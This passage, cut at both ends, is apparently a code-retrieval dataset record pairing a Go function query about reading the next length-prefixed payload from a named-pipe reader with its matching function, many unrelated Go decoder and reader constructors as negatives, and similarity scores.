paddingSize int) *Decoder {\n\tc := fountain.NewRaptorCodec(numSourceSymbols, symbolAlignmentSize)\n\n\treturn &Decoder{\n\t\tdecoder: c.NewDecoder(transferLength),\n\t\tsymbolAlignmentSize: symbolAlignmentSize,\n\t\tnumSourceSymbols: numSourceSymbols,\n\t\tpaddingSize: paddingSize,\n\t}\n}", "func NewDecompressionBuffer(data []byte, expectedSize int) DecompressionBuffer {\n\tdbuf := DecompressionBuffer{\n\t\tdata: data,\n\t\tposition: uint32(7), // Start reading from the \"left\"\n\t\teof: false,\n\t\texpectedSize: expectedSize,\n\t}\n\n\tif len(data) <= 8 {\n\t\t//Tiny input.\n\t\tdbuf.eof = true\n\t} else {\n\t\tdbuf.current = data[8]\n\t\tdbuf.currentByteIndex = 8\n\t}\n\n\treturn dbuf\n}", "func NewDecoder(provider ConfigProvider) *Decoder {\n\td := &Decoder{\n\t\tprovider: provider,\n\t}\n\treturn d\n}", "func NewDecoder() Decoder {\n\treturn Decoder{}\n}", "func NewDecoder() *Decoder {\n\n\treturn &Decoder{\n\t\ttagName: \"form\",\n\t\tstructCache: newStructCacheMap(),\n\t\tmaxArraySize: 10000,\n\t\tdataPool: &sync.Pool{New: func() interface{} {\n\t\t\treturn make(dataMap, 0, 0)\n\t\t}},\n\t}\n}", "func NewReader(r io.ByteReader) *Reader {\n\treturn &Reader{br: r, Config: DefaultConfig()}\n}", "func NewReader(r io.Reader, protocol *Protocol) *Reader {\n\treturn &Reader{\n\t\tprotocol: protocol,\n\t\tbr: bufio.NewReader(r),\n\t}\n}", "func NewDecoder(r *csv.Reader) (*Decoder, error) {\n\t// Headers presence is ASSUMED\n\theader, err := r.Read()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Decoder{r, header}, nil\n}", "func (pr *PkgDecoder) NewDecoder(k RelocKind, idx Index, marker SyncMarker) Decoder {\n\tr := pr.NewDecoderRaw(k, idx)\n\tr.Sync(marker)\n\treturn r\n}", "func NewReaderSize(rd io.Reader, buffers, size int) (res io.ReadCloser, err error) {\n\tif size <= 0 {\n\t\treturn nil, fmt.Errorf(\"buffer size too small\")\n\t}\n\tif buffers <= 0 {\n\t\treturn nil, fmt.Errorf(\"number of buffers too small\")\n\t}\n\tif rd == nil {\n\t\treturn nil, fmt.Errorf(\"nil input reader supplied\")\n\t}\n\ta := &reader{}\n\tif _, ok := rd.(io.Seeker); ok {\n\t\tres = &seekable{a}\n\t} else {\n\t\tres = a\n\t}\n\ta.init(rd, buffers, size)\n\treturn\n}", "func NewDecoder() *Decoder {\n\td := new(Decoder)\n\td.pulse.sec = int8(ErrInit)\n\td.c = make(chan pulse, 1)\n\treturn d\n}", "func NewReader(in []byte) Reader {\n\treturn Reader{\n\t\tbufBytes: in,\n\t}\n}", "func (j *JsonlMarshaler) NewDecoder(r io.Reader) runtime.Decoder {\n\treturn runtime.DecoderFunc(\n\t\tfunc(v interface{}) error {\n\t\t\tbuffer, err := ioutil.ReadAll(r)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tswitch v.(type) {\n\t\t\tcase *distribute.BulkIndexRequest:\n\t\t\t\tdocs := make([]*index.Document, 0)\n\t\t\t\treader := bufio.NewReader(bytes.NewReader(buffer))\n\t\t\t\tfor {\n\t\t\t\t\tdocBytes, err := reader.ReadBytes('\\n')\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tif err == io.EOF || err == io.ErrClosedPipe {\n\t\t\t\t\t\t\tif len(docBytes) > 0 {\n\t\t\t\t\t\t\t\tdoc := &index.Document{}\n\t\t\t\t\t\t\t\terr = index.UnmarshalDocument(docBytes, doc)\n\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\treturn err\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tdocs = append(docs, doc)\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif len(docBytes) > 0 {\n\t\t\t\t\t\tdoc := &index.Document{}\n\t\t\t\t\t\terr = index.UnmarshalDocument(docBytes, doc)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\treturn err\n\t\t\t\t\t\t}\n\t\t\t\t\t\tdocs = append(docs, doc)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tv.(*distribute.BulkIndexRequest).Documents = docs\n\t\t\t\treturn nil\n\t\t\tdefault:\n\t\t\t\treturn json.Unmarshal(buffer, v)\n\t\t\t}\n\t\t},\n\t)\n}", "func NewPacketDecoder() *PacketDecoder {\n\treturn &PacketDecoder{\n\t\tbuf: bytes.NewBuffer(nil),\n\t\tsize: -1,\n\t}\n}", "func NewDecoder(obj interface{}, fn Decode) *Decoder {\n\treturn &Decoder{\n\t\ttyp: reflect.TypeOf(obj),\n\t\tfn: fn,\n\t}\n}", "func NewDecoder(obj interface{}, fn Decode) *Decoder {\n\treturn &Decoder{\n\t\tType: reflect.TypeOf(obj),\n\t\tFunc: fn,\n\t}\n}", "func NewDecoder(decoder streaming.Decoder, embeddedDecoder runtime.Decoder) *Decoder {\n\treturn &Decoder{\n\t\tdecoder: decoder,\n\t\tembeddedDecoder: embeddedDecoder,\n\t}\n}", "func NewReaderBuffer(rd io.Reader, buffers [][]byte) (res io.ReadCloser, err error) {\n\tif len(buffers) == 0 {\n\t\treturn nil, fmt.Errorf(\"number of buffers too small\")\n\t}\n\tsz := 0\n\tfor _, buf := range buffers {\n\t\tif len(buf) == 0 {\n\t\t\treturn nil, fmt.Errorf(\"zero size buffer sent\")\n\t\t}\n\t\tif sz == 0 {\n\t\t\tsz = len(buf)\n\t\t}\n\t\tif sz != len(buf) {\n\t\t\treturn nil, fmt.Errorf(\"buffers should have similar size\")\n\t\t}\n\t}\n\tif rd == nil {\n\t\treturn nil, fmt.Errorf(\"nil input reader supplied\")\n\t}\n\ta := &reader{}\n\tif _, ok := rd.(io.Seeker); ok {\n\t\tres = &seekable{a}\n\t} else {\n\t\tres = a\n\t}\n\ta.initBuffers(rd, buffers, sz)\n\n\treturn\n}", "func NewReader(r *bufio.Reader) *Reader {\n\tscanner := bufio.NewScanner(r)\n\tscanner.Split(bufio.ScanLines)\n\treturn &Reader{\n\t\tscanner: scanner,\n\t\teof: false,\n\t}\n}", "func NewDecoder(opts DecoderOptions) (*Decoder, error) {\n\tvar d Decoder\n\tif err := opts.validate(); err != nil {\n\t\treturn nil, fmt.Errorf(\"imaging: error validating decoder options: %w\", err)\n\t}\n\tif opts.ConcurrencyLevel > 0 {\n\t\td.sem = make(chan struct{}, opts.ConcurrencyLevel)\n\t}\n\td.opts = opts\n\treturn &d, nil\n}", "func NewReader(r io.Reader) (*Reader, error) {\n\trr := &Reader{\n\t\tr: r,\n\t\tSigThreshold: 800,\n\t\tReadMode: Default,\n\t\tUDPHalfDRSBuffer: make([]byte, 8270), //8238),\n\t}\n\trr.framesMap = make(map[uint32][]*Frame)\n\trr.framesMapKeys = make([]uint32, 0)\n\trr.readFileHeader(&rr.FileHeader)\n\trr.NoPanic = false\n\treturn rr, rr.err\n}", "func NewReader(r io.Reader) io.ReadCloser {\n\treturn &reader{\n\t\tlz4Stream: C.LZ4_createStreamDecode(),\n\t\tunderlyingReader: r,\n\t\tisLeft: true,\n\t\t// double buffer needs to use C.malloc to make sure the same memory address\n\t\t// allocate buffers in go memory will fail randomly since GC may move the memory\n\t\tleft: C.malloc(boudedStreamingBlockSize),\n\t\tright: C.malloc(boudedStreamingBlockSize),\n\t}\n}", "func NewReader(buffer []byte) *Reader {\n\tvar r = &Reader{}\n\n\tr.buffer = buffer\n\tr.index = 0\n\n\tr.MagicKey = r.ReadUint16()\n\tr.Size = r.ReadUint16()\n\tr.CheckSum = r.ReadUint32()\n\tr.Type = r.ReadUint16()\n\n\treturn r\n}", "func New(rawBuffer []byte) *EbpfDecoder {\n\treturn &EbpfDecoder{\n\t\tbuffer: rawBuffer,\n\t\tcursor: 0,\n\t}\n}", "func NewReader(r io.Reader) *Reader { return &Reader{r: r} }", "func NewReader(rd io.Reader) *Reader {\n\treturn &Reader{\n\t\trd: bufio.NewReader(rd),\n\t\tbuf: make([]byte, 4096),\n\t}\n}", "func NewReader(r io.Reader) io.Reader {\n\tbr, ok := r.(*bufio.Reader)\n\tif !ok {\n\t\tbr = bufio.NewReader(r)\n\t}\n\treturn &reader{r: br}\n}", "func NewReader(r io.ReaderAt, size int64) (*Reader, error) {\n\tszr := new(Reader)\n\tif err := szr.init(r, size, false); err != nil {\n\t\treturn nil, err\n\t}\n\treturn szr, nil\n}", "func NewReader(rd io.Reader) io.ReadCloser {\n\tif rd == nil {\n\t\treturn nil\n\t}\n\n\tret, err := NewReaderSize(rd, DefaultBuffers, DefaultBufferSize)\n\n\t// Should not be possible to trigger from other packages.\n\tif err != nil {\n\t\tpanic(\"unexpected error:\" + err.Error())\n\t}\n\treturn ret\n}", "func NewDecoder(record []byte, width uint32, height uint32) (*Decoder, error) {\n\tret := new(Decoder)\n\n\tif width == 0 || height == 0 {\n\t\treturn nil, fmt.Errorf(\"invalid dimensions: %dx%d\", width, height)\n\t}\n\n\tif len(record) == 0 {\n\t\treturn nil, fmt.Errorf(\"invalid record with length zero\")\n\t}\n\n\tret.width = width\n\tret.height = height\n\n\terr := parseConfigRecord(record, &ret.record)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"invalid v3 configuration record: %s\", err.Error())\n\t}\n\n\tret.initializeStates()\n\n\treturn ret, nil\n}", "func (j *TextMarshaler) NewDecoder(r io.Reader) runtime.Decoder {\n\treturn runtime.DecoderFunc(\n\t\tfunc(v interface{}) error {\n\t\t\tbuffer, err := ioutil.ReadAll(r)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tswitch v.(type) {\n\t\t\tcase *distribute.BulkDeleteRequest:\n\t\t\t\tids := make([]string, 0)\n\t\t\t\treader := bufio.NewReader(bytes.NewReader(buffer))\n\t\t\t\tfor {\n\t\t\t\t\t//idBytes, err := reader.ReadBytes('\\n')\n\t\t\t\t\tidBytes, _, err := reader.ReadLine()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tif err == io.EOF || err == io.ErrClosedPipe {\n\t\t\t\t\t\t\tif len(idBytes) > 0 {\n\t\t\t\t\t\t\t\tids = append(ids, string(idBytes))\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif len(idBytes) > 0 {\n\t\t\t\t\t\tids = append(ids, string(idBytes))\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tv.(*distribute.BulkDeleteRequest).Ids = ids\n\t\t\t\treturn nil\n\t\t\tdefault:\n\t\t\t\treturn json.Unmarshal(buffer, v)\n\t\t\t}\n\t\t},\n\t)\n}", "func NewLineDecoder(r io.Reader) *LineDecoder {\n\tif r == nil {\n\t\treturn nil\n\t}\n\td := LineDecoder{}\n\tif r, ok := r.(*bufio.Reader); ok {\n\t\td.r = r\n\t} else {\n\t\td.r = bufio.NewReader(r)\n\t}\n\treturn &d\n}", "func NewDecoder(buf []byte) (Decoder, error) {\n\t// Check buffer length before accessing it\n\tif len(buf) == 0 {\n\t\treturn nil, ErrInvalidImage\n\t}\n\n\tisBufGIF := isGIF(buf)\n\tif isBufGIF {\n\t\treturn newGifDecoder(buf)\n\t}\n\n\tmaybeDecoder, err := newOpenCVDecoder(buf)\n\tif err == nil {\n\t\treturn maybeDecoder, nil\n\t}\n\n\treturn newAVCodecDecoder(buf)\n}", "func (d *Decoder) Decode(r io.Reader) io.Reader {\n\tdec := newVideoDecryptor(r)\n\treturn &dec\n}", "func NewReader(r io.Reader) *Reader {\n\tlr := Reader{\n\t\tr: r,\n\t\tlimitedM: &sync.RWMutex{},\n\t\ttimeoutM: &sync.Mutex{},\n\t\tnewLimit: make(chan *limit),\n\t\trate: make(chan int, 10),\n\t\tused: make(chan int),\n\t\tcls: make(chan bool),\n\t}\n\tgo lr.run()\n\treturn &lr\n}", "func NewDecoder(format NvPipeFormat, codec NvPipeCodec, width int, height int) *Decoder {\n\tvar decoder Decoder\n\tdec := C.NvPipe_CreateDecoder(\n\t\tC.NvPipe_Format(format),\n\t\tC.NvPipe_Codec(codec),\n\t\tC.uint32_t(width),\n\t\tC.uint32_t(height),\n\t)\n\tdecoder.dec = dec\n\tdecoder.width = width\n\tdecoder.height = height\n\treturn &decoder\n}", "func NewDecoder(cfg *Config) (*Decoder, error) {\n\tif cfg == nil {\n\t\tcfg = NewConfig()\n\t}\n\tdec := &Decoder{\n\t\tcfg: cfg,\n\t\tdec: pocketsphinx.Init(cfg.CommandLn()),\n\t}\n\tif dec.dec == nil {\n\t\tcfg.Destroy()\n\t\terr := errors.New(\"pocketsphinx.Init failed\")\n\t\treturn nil, err\n\t}\n\tdec.SetRawDataSize(0)\n\treturn dec, nil\n}", "func NewReader(r io.ReaderAt, size int64) (*zip.Reader, error)", "func NewDecoder(schemaRepository schemaregistry.Repository, options ...option) Decoder {\n\treturn &implDecoder{\n\t\tschemaRepository: schemaRepository,\n\t\tavroAPI: newConfig(options...).Freeze(),\n\t}\n}" ]
[ "0.8435491", "0.82168335", "0.8129287", "0.7971583", "0.78758395", "0.7805457", "0.7805457", "0.7805457", "0.7805457", "0.7805457", "0.7805457", "0.7801087", "0.7797714", "0.7793453", "0.77785283", "0.77232796", "0.767309", "0.76566315", "0.76421547", "0.76256466", "0.7535967", "0.7532905", "0.7528225", "0.7525026", "0.7481119", "0.7458206", "0.74442416", "0.74394107", "0.7438728", "0.7424403", "0.73647773", "0.71418566", "0.71298707", "0.7082779", "0.7047496", "0.70212936", "0.69975114", "0.69630694", "0.6950127", "0.69378924", "0.6933529", "0.6727976", "0.6715254", "0.67115116", "0.6708312", "0.66245764", "0.660219", "0.6597941", "0.65395147", "0.6511662", "0.6496715", "0.64828634", "0.6475736", "0.64523697", "0.6449877", "0.6412347", "0.6387051", "0.6375155", "0.6339775", "0.6328681", "0.63282037", "0.6324027", "0.63110965", "0.6301666", "0.62930727", "0.62771887", "0.62408394", "0.6240334", "0.6230136", "0.6210765", "0.6197796", "0.6149541", "0.6124524", "0.6113725", "0.6102496", "0.60983473", "0.6071389", "0.6068", "0.6030056", "0.60223484", "0.60127014", "0.59977275", "0.5993586", "0.5983685", "0.59697664", "0.5961639", "0.5933948", "0.5930364", "0.58880126", "0.5884024", "0.58733225", "0.58710176", "0.5869318", "0.58659077", "0.5860104", "0.58465266", "0.58458614", "0.58386606", "0.58319706", "0.5823736" ]
0.8432068
1
NextPayload consumes an some amount of data on the Reader and returns the next full Payload. Since the Payload isn't by itself a robust format of data transmission, the decoder might or might not recover from decoding faulty data. Since the intended io.Reader is a named pipe connection, the chance of a failure happening is really low. If the length is at least readable, but it's too small, it will discard the faulty data and continue attempting to read Payloads. However, there is no recovery path if the data is corrupted in other ways, and subsequent calls to NextPayload will return the same thing.
func (d *Decoder) NextPayload() (Payload, error) { lengthBytes, err := d.reader.Peek(4) if err != nil { return Payload{}, err } length := binary.LittleEndian.Uint32(lengthBytes) if length < 4 { length = 4 } if length < 9 { d.consumeBytes(length) return Payload{}, ErrInvalidLength } envBytes, err := d.reader.Peek(int(length)) if err != nil { return Payload{}, err } env := DecodePayload(envBytes) d.consumeBytes(length) return env, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (r *Reader) ReadPayload() (*zng.Record, []byte, error) {\nagain:\n\tb, err := r.read(1)\n\tif err != nil {\n\t\t// Having tried to read a single byte above, ErrTruncated means io.EOF.\n\t\tif err == io.EOF || err == peeker.ErrTruncated {\n\t\t\treturn nil, nil, nil\n\t\t}\n\t\treturn nil, nil, err\n\t}\n\tcode := b[0]\n\tif code&0x80 != 0 {\n\t\tswitch code {\n\t\tcase zng.TypeDefRecord:\n\t\t\terr = r.readTypeRecord()\n\t\tcase zng.TypeDefSet:\n\t\t\terr = r.readTypeSet()\n\t\tcase zng.TypeDefArray:\n\t\t\terr = r.readTypeArray()\n\t\tcase zng.TypeDefUnion:\n\t\t\terr = r.readTypeUnion()\n\t\tcase zng.TypeDefAlias:\n\t\t\terr = r.readTypeAlias()\n\t\tcase zng.CtrlEOS:\n\t\t\tr.reset()\n\t\tdefault:\n\t\t\t// XXX we should return the control code\n\t\t\tlen, err := r.readUvarint()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, zng.ErrBadFormat\n\t\t\t}\n\t\t\tb, err = r.read(len)\n\t\t\treturn nil, b, err\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\tgoto again\n\n\t}\n\t// read uvarint7 encoding of type ID\n\tvar id int\n\tif (code & 0x40) == 0 {\n\t\tid = int(code & 0x3f)\n\t} else {\n\t\tv, err := r.readUvarint()\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\tid = (v << 6) | int(code&0x3f)\n\t}\n\tlen, err := r.readUvarint()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tb, err = r.read(int(len))\n\tif err != nil && err != io.EOF {\n\t\treturn nil, nil, zng.ErrBadFormat\n\t}\n\trec, err := r.parseValue(int(id), b)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\treturn rec, nil, nil\n}", "func readFramePayload(r io.Reader, h *frameHeader) ([]byte, error) {\n\tlogging.Debug(\"[readFramePayload] reading payloadSize: %d\", h.payloadSize)\n\tlr := io.LimitReader(r, int64(h.payloadSize))\n\tpayload, err := ioutil.ReadAll(lr)\n\tif err != nil {\n\t\tlogging.Debug(\"[readFramePayload] Error reading payload: %s\", err)\n\t\treturn nil, err\n\t}\n\tlogging.Debug(\"[readFramePayload] payload size: %d\", len(payload))\n\tlogging.Debug(\"[readFramePayload] extracted payload: %s\", payload)\n\treturn payload, nil\n}", "func NewPayloadReader(source io.Reader, where PacketTester) StreamControlReader {\n\treturn &payloadReader{\n\t\tbr: bitreader.NewReader(source),\n\t\twhere: where,\n\t\tclosed: false,\n\t\tskipUntil: nil,\n\t\ttakeWhile: alwaysTrueTester,\n\t}\n}", "func (d *Decoder) readPayload() (payload []byte, err error) {\n\tpayload, err = readVarIntFrame(d.rd)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error reading varint frame: %w\", err)\n\t}\n\tif len(payload) == 0 {\n\t\treturn\n\t}\n\tif d.compression { // Decoder expects compressed payload\n\t\t// buf contains: claimedUncompressedSize + (compressed packet id & data)\n\t\tbuf := bytes.NewBuffer(payload)\n\t\tclaimedUncompressedSize, err := util.ReadVarInt(buf)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error reading claimed uncompressed size varint: %w\", err)\n\t\t}\n\t\tif claimedUncompressedSize <= 0 {\n\t\t\t// This message is not compressed\n\t\t\treturn buf.Bytes(), nil\n\t\t}\n\t\treturn d.decompress(claimedUncompressedSize, buf)\n\t}\n\treturn\n}", "func (m Request) GetPayloadReader() io.ReadCloser {\n\treturn ioutil.NopCloser(bytes.NewReader(m.Payload))\n}", "func ReceivePayload(conn io.Reader) (hdr *Header, req []byte, err error) {\n\thdr, err = ReceiveHeader(conn)\n\tif err != nil {\n\t\treturn\n\t}\n\treq = make([]byte, hdr.Size())\n\t_, err = io.ReadFull(conn, req)\n\treturn\n}", "func DecodePayload(data []byte) Payload {\n\te := Payload{}\n\te.Length = binary.LittleEndian.Uint32(data[0:4])\n\te.Op = data[4]\n\te.Channel = binary.LittleEndian.Uint32(data[5:9])\n\te.Data = make([]byte, len(data[9:]))\n\tcopy(e.Data, data[9:])\n\treturn e\n}", "func readPayloadBytes(data io.Reader) ([]byte, bool, error) {\n\tlengthPrefix := []byte{0, 0, 0, 0, 0}\n\treadCount, err := data.Read(lengthPrefix)\n\n\tif err != nil {\n\t\treturn nil, false, err\n\t}\n\n\tif readCount != 5 {\n\t\treturn nil, false, errors.New(\"malformed data: not enough data to read length prefix\")\n\t}\n\n\tpayloadLength := binary.BigEndian.Uint32(lengthPrefix[1:])\n\tpayloadBytes := make([]byte, payloadLength)\n\treadCount, err = data.Read(payloadBytes)\n\treturn payloadBytes, isTrailer(lengthPrefix[0]), nil\n}", "func ReadPayloadSize(r io.Reader) (uint16, error) {\n\treturn utils.Read16BitInteger(r)\n}", "func (tc *TrafficCaptureReader) ReadNext() (*pb.UnixDogstatsdMsg, error) {\n\n\ttc.Lock()\n\n\tif int(tc.offset+4) > len(tc.Contents) {\n\t\ttc.Unlock()\n\t\treturn nil, io.EOF\n\t}\n\tsz := binary.LittleEndian.Uint32(tc.Contents[tc.offset : tc.offset+4])\n\ttc.offset += 4\n\n\t// we have reached the state separator or overflow\n\tif sz == 0 || int(tc.offset+sz) > len(tc.Contents) {\n\t\ttc.Unlock()\n\t\treturn nil, io.EOF\n\t}\n\n\t// avoid a fresh allocation - at least this runs in a separate process\n\tmsg := &pb.UnixDogstatsdMsg{}\n\terr := proto.Unmarshal(tc.Contents[tc.offset:tc.offset+sz], msg)\n\tif err != nil {\n\t\ttc.Unlock()\n\t\treturn nil, err\n\t}\n\ttc.offset += sz\n\n\ttc.Unlock()\n\n\treturn msg, nil\n}", "func (d *Decoder) decodePayload(p []byte) (ctx *proto.PacketContext, err error) {\n\tctx = &proto.PacketContext{\n\t\tDirection: d.direction,\n\t\tProtocol: d.registry.Protocol,\n\t\tKnownPacket: false,\n\t\tPayload: p,\n\t}\n\tpayload := bytes.NewReader(p)\n\n\t// Read packet id.\n\tpacketID, err := util.ReadVarInt(payload)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tctx.PacketID = proto.PacketID(packetID)\n\t// Now the payload reader should only have left the packet's actual data.\n\n\t// Try find and create packet from the id.\n\tctx.Packet = d.registry.CreatePacket(ctx.PacketID)\n\tif ctx.Packet == nil {\n\t\t// Packet id is unknown in this registry,\n\t\t// the payload is probably being forwarded as is.\n\t\treturn\n\t}\n\n\t// Packet is known, decode data into it.\n\tctx.KnownPacket = true\n\tif err = ctx.Packet.Decode(ctx, payload); err != nil {\n\t\tif err == io.EOF { // payload was to short or decoder has a bug\n\t\t\terr = io.ErrUnexpectedEOF\n\t\t}\n\t\treturn ctx, errs.NewSilentErr(\"error decoding packet (type: %T, id: %s, protocol: %s, direction: %s): %w\",\n\t\t\tctx.Packet, ctx.PacketID, ctx.Protocol, ctx.Direction, err)\n\t}\n\n\t// Payload buffer should now be empty.\n\tif payload.Len() != 0 {\n\t\t// packet decoder did not read all of the packet's data!\n\t\td.log.V(1).Info(\"Packet's decoder did not read all of packet's data\",\n\t\t\t\"ctx\", ctx,\n\t\t\t\"decodedBytes\", len(ctx.Payload),\n\t\t\t\"unreadBytes\", payload.Len())\n\t\treturn ctx, proto.ErrDecoderLeftBytes\n\t}\n\n\t// Packet decoder has read exactly all data from the payload.\n\treturn\n}", "func (h HandlerPayloadUnmarshal) UnmarshalPayload(r io.Reader, v interface{}) error {\n\treq := &request.Request{\n\t\tHTTPRequest: &http.Request{},\n\t\tHTTPResponse: &http.Response{\n\t\t\tStatusCode: 200,\n\t\t\tHeader: http.Header{},\n\t\t\tBody: ioutil.NopCloser(r),\n\t\t},\n\t\tData: v,\n\t}\n\n\th.Unmarshalers.Run(req)\n\n\treturn req.Error\n}", "func (p *AV1Payloader) Payload(mtu uint16, payload []byte) (payloads [][]byte) {\n\tpayloadDataIndex := 0\n\tpayloadDataRemaining := len(payload)\n\n\t// Payload Data and MTU is non-zero\n\tif mtu <= 0 || payloadDataRemaining <= 0 {\n\t\treturn payloads\n\t}\n\n\t// Cache Sequence Header and packetize with next payload\n\tframeType := (payload[0] & obuFrameTypeMask) >> obuFrameTypeBitshift\n\tif frameType == obuFameTypeSequenceHeader {\n\t\tp.sequenceHeader = payload\n\t\treturn\n\t}\n\n\tfor payloadDataRemaining > 0 {\n\t\tobuCount := byte(1)\n\t\tmetadataSize := av1PayloaderHeadersize\n\t\tif len(p.sequenceHeader) != 0 {\n\t\t\tobuCount++\n\t\t\tmetadataSize += leb128Size + len(p.sequenceHeader)\n\t\t}\n\n\t\tout := make([]byte, min(int(mtu), payloadDataRemaining+metadataSize))\n\t\toutOffset := av1PayloaderHeadersize\n\t\tout[0] = obuCount << wBitshift\n\n\t\tif obuCount == 2 {\n\t\t\t// This Payload contain the start of a Coded Video Sequence\n\t\t\tout[0] ^= nMask\n\n\t\t\tout[1] = byte(obu.EncodeLEB128(uint(len(p.sequenceHeader))))\n\t\t\tcopy(out[2:], p.sequenceHeader)\n\n\t\t\toutOffset += leb128Size + len(p.sequenceHeader)\n\n\t\t\tp.sequenceHeader = nil\n\t\t}\n\n\t\toutBufferRemaining := len(out) - outOffset\n\t\tcopy(out[outOffset:], payload[payloadDataIndex:payloadDataIndex+outBufferRemaining])\n\t\tpayloadDataRemaining -= outBufferRemaining\n\t\tpayloadDataIndex += outBufferRemaining\n\n\t\t// Does this Fragment contain an OBU that started in a previous payload\n\t\tif len(payloads) > 0 {\n\t\t\tout[0] ^= zMask\n\t\t}\n\n\t\t// This OBU will be continued in next Payload\n\t\tif payloadDataRemaining != 0 {\n\t\t\tout[0] ^= yMask\n\t\t}\n\n\t\tpayloads = append(payloads, out)\n\t}\n\n\treturn payloads\n}", "func (mc *MessageCard) Payload() io.Reader {\n\treturn mc.payload\n}", "func (d *Decoder) Decode(payload *[]byte) error {\n\thead := make([]byte, headLen)\n\t_, err := io.ReadFull(d.r, head)\n\tif err == io.ErrUnexpectedEOF {\n\t\treturn ErrShortRead\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\tlineLen, err := strconv.ParseInt(string(head), 16, 16)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif lineLen == 0 { // flush-pkt\n\t\t*payload = nil\n\t\treturn nil\n\t}\n\tif lineLen < headLen {\n\t\treturn ErrInvalidLen\n\t}\n\t*payload = make([]byte, lineLen-headLen)\n\tif lineLen == headLen { // empty line\n\t\treturn nil\n\t}\n\t_, err = io.ReadFull(d.r, *payload)\n\tif err == io.ErrUnexpectedEOF {\n\t\treturn ErrShortRead\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (s *GetReadSetOutput) SetPayload(v io.ReadCloser) *GetReadSetOutput {\n\ts.Payload = v\n\treturn s\n}", "func (rp *RtrPkt) Payload(verify bool) (common.Payload, *common.Error) {\n\tif rp.pld == nil && len(rp.hooks.Payload) > 0 {\n\t\t_, err := rp.L4Hdr(verify)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, f := range rp.hooks.Payload {\n\t\t\tret, pld, err := f()\n\t\t\tswitch {\n\t\t\tcase err != nil:\n\t\t\t\treturn nil, err\n\t\t\tcase ret == HookContinue:\n\t\t\t\tcontinue\n\t\t\tcase ret == HookFinish:\n\t\t\t\trp.pld = pld\n\t\t\t\treturn rp.pld, nil\n\t\t\t}\n\t\t}\n\t}\n\treturn rp.pld, nil\n}", "func createPayloadFromPacket(packetReader io.Reader) (*payload, error) {\n\t//read packet length\n\tvar packetLength int32\n\terr := binary.Read(packetReader, binary.LittleEndian, &packetLength)\n\tif err != nil {\n\t\treturn nil, errors.New(\"Unable to read packet length\")\n\t}\n\tbuf := make([]byte, packetLength)\n\terr = binary.Read(packetReader, binary.LittleEndian, &buf)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"read packet body fail: %v\", err)\n\t\treturn nil, err\n\t}\n\t// check length\n\tif packetLength < 4+4+2 {\n\t\terr = errors.New(\"packet too short\")\n\t\treturn nil, err\n\t}\n\tresult := new(payload)\n\tresult.packetID = int32(binary.LittleEndian.Uint32(buf[:4]))\n\tresult.packetType = int32(binary.LittleEndian.Uint32(buf[4:8]))\n\tresult.packetBody = buf[8 : packetLength-2]\n\n\treturn result, nil\n}", "func (c *DeviceController) HandlePayload(w http.ResponseWriter, r *http.Request) {\n\tif r.Body == nil {\n\t\thttp.Error(w, \"Please send a request body\", 400)\n\t\treturn\n\t}\n\tdefer r.Body.Close()\n\tbodyBytes, err := ioutil.ReadAll(r.Body)\n\tbodyString := string(bodyBytes)\n\tfmt.Println(bodyString)\n\treq := payloadReq{}\n\terr = json.Unmarshal([]byte(bodyString), &req)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), 400)\n\t\treturn\n\t}\n\tfmt.Println(req)\n\tsize := req.Size\n\twaitDur := req.Wait\n\tresp := \"\"\n\twait.WaitDurationFixed(waitDur)\n\tfor i := int64(0); i < size; i++ {\n\t\tresp += \"A\"\n\t}\n\tc.SendJSON(\n\t\tw,\n\t\tr,\n\t\tresp,\n\t\thttp.StatusOK,\n\t)\n}", "func (o RawStreamInputDataSourceResponseOutput) Payload() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v RawStreamInputDataSourceResponse) *string { return v.Payload }).(pulumi.StringPtrOutput)\n}", "func (f *Frame) Read(out interface{}) error {\n\tswitch x := out.(type) {\n\tcase *uint8:\n\t\tif f.BytesRemaining() < 1 {\n\t\t\treturn io.EOF\n\t\t}\n\t\t*x = f.Payload[f.payloadPos]\n\t\tf.payloadPos++\n\tcase *uint16:\n\t\tif f.BytesRemaining() < 2 {\n\t\t\treturn io.EOF\n\t\t}\n\t\t*x = binary.LittleEndian.Uint16(f.Payload[f.payloadPos:])\n\t\tf.payloadPos += 2\n\tcase *uint32:\n\t\tif f.BytesRemaining() < 4 {\n\t\t\treturn io.EOF\n\t\t}\n\t\t*x = binary.LittleEndian.Uint32(f.Payload[f.payloadPos:])\n\t\tf.payloadPos += 4\n\tdefault:\n\t\tv := reflect.ValueOf(out)\n\t\tif v.Kind() == reflect.Ptr 